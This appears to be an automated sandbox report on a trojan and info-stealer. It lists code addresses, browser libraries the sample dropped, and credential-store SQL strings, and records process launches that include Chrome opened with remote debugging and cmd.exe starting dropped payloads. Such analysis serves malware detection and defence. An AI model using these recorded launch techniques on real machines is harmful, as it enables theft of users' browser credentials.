Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C733840	0_2_6C733840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BD810	0_2_6C6BD810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73F8F0	0_2_6C73F8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66D8E0	0_2_6C66D8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6938E0	0_2_6C6938E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BB8F0	0_2_6C7BB8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FF8C0	0_2_6C6FF8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DF960	0_2_6C6DF960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71D960	0_2_6C71D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C715920	0_2_6C715920
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7AF900	0_2_6C7AF900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C59F0	0_2_6C6C59F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F79F0	0_2_6C6F79F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F99C0	0_2_6C6F99C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6999D0	0_2_6C6999D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C731990	0_2_6C731990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C671980	0_2_6C671980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7E9A50	0_2_6C7E9A50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75DA30	0_2_6C75DA30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C701A10	0_2_6C701A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69FA10	0_2_6C69FA10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C661AE0	0_2_6C661AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73DAB0	0_2_6C73DAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73FB60	0_2_6C73FB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6ABB20	0_2_6C6ABB20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A7BF0	0_2_6C6A7BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C729BB0	0_2_6C729BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9BA0	0_2_6C6B9BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C745B90	0_2_6C745B90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C651B80	0_2_6C651B80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C749430	0_2_6C749430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6ED410	0_2_6C6ED410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6614E0	0_2_6C6614E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7E14A0	0_2_6C7E14A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7AF510	0_2_6C7AF510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C7500	0_2_6C6C7500
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C675510	0_2_6C675510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E55F0	0_2_6C6E55F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C699590	0_2_6C699590
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B5640	0_2_6C6B5640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C679650	0_2_6C679650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C689600	0_2_6C689600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D7610	0_2_6C6D7610
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6916A0	0_2_6C6916A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C96A0	0_2_6C6C96A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C683720	0_2_6C683720
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C739720	0_2_6C739720
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CD710	0_2_6C6CD710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7A37C0	0_2_6C7A37C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EB7A0	0_2_6C6EB7A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70F050	0_2_6C70F050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65D050	0_2_6C65D050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C669050	0_2_6C669050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AB020	0_2_6C6AB020
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Code function: 9_2_002B8860	9_2_002B8860
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Code function: 9_2_002B7049	9_2_002B7049
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Code function: 9_2_002B78BB	9_2_002B78BB
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Code function: 9_2_002B31A8	9_2_002B31A8
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Code function: 9_2_00274B30	9_2_00274B30
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Code function: 9_2_002B2D10	9_2_002B2D10
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Code function: 9_2_00274DE0	9_2_00274DE0
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Code function: 9_2_002A7F36	9_2_002A7F36
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Code function: 9_2_002B779B	9_2_002B779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00B978BB	10_2_00B978BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00B98860	10_2_00B98860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00B97049	10_2_00B97049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00B931A8	10_2_00B931A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00B54B30	10_2_00B54B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00B54DE0	10_2_00B54DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00B92D10	10_2_00B92D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00B9779B	10_2_00B9779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00B87F36	10_2_00B87F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00B978BB	11_2_00B978BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00B98860	11_2_00B98860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00B97049	11_2_00B97049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00B931A8	11_2_00B931A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00B54B30	11_2_00B54B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00B54DE0	11_2_00B54DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00B92D10	11_2_00B92D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00B9779B	11_2_00B9779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00B87F36	11_2_00B87F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00B5E530	12_2_00B5E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00B76192	12_2_00B76192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00BA0227	12_2_00BA0227
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00B98860	12_2_00B98860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00B54B30	12_2_00B54B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00B54DE0	12_2_00B54DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00B92D10	12_2_00B92D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00B70E13	12_2_00B70E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00B97049	12_2_00B97049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00B931A8	12_2_00B931A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00B71602	12_2_00B71602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00B9779B	12_2_00B9779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00B978BB	12_2_00B978BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00B73DF1	12_2_00B73DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00B87F36	12_2_00B87F36

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C7ED930 appears 68 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C7EDAE0 appears 86 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C7E09D0 appears 349 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6BC5E0 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C683620 appears 98 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C689B10 appears 110 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C799F30 appears 53 times
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Code function: String function: 002880C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B88E10 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B6DF80 appears 81 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B680C0 appears 393 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B67A00 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B6D64E appears 79 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B6D942 appears 84 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B6D663 appears 40 times

Source: file.exe, 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2013261737.0000000023712000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000000.00000002.2016952198.000000006F902000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: jwxhholp ZLIB complexity 0.9948641769654556
Source: random[1].exe.0.dr	Static PE information: Section: jwxhholp ZLIB complexity 0.9948641769654556

Source: DocumentsJJKEBGHJKF.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.9.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@34/43@6/8

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6C0300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6C6C0300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\JVRRN1G1.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7520:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\DocumentsJJKEBGHJKF.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2007740395.000000001D6E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2016411887.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2007740395.000000001D6E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2016411887.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2007740395.000000001D6E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2016411887.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2007740395.000000001D6E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2016411887.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2007740395.000000001D6E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2016411887.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2007740395.000000001D6E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2016411887.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2007740395.000000001D6E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2016411887.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1822655832.000000001D5E5000.00000004.00000020.00020000.00000000.sdmp, DGHDHIDGHIDGIECBKKJJ.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2007740395.000000001D6E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2016411887.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2007740395.000000001D6E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2016411887.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2532 --field-trial-handle=2360,i,6398929871605590170,10744528980538309104,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJJKEBGHJKF.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJJKEBGHJKF.exe "C:\Users\user\DocumentsJJKEBGHJKF.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe "C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe "C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe "C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe "C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJJKEBGHJKF.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2532 --field-trial-handle=2360,i,6398929871605590170,10744528980538309104,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJJKEBGHJKF.exe "C:\Users\user\DocumentsJJKEBGHJKF.exe"	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe "C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe "C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
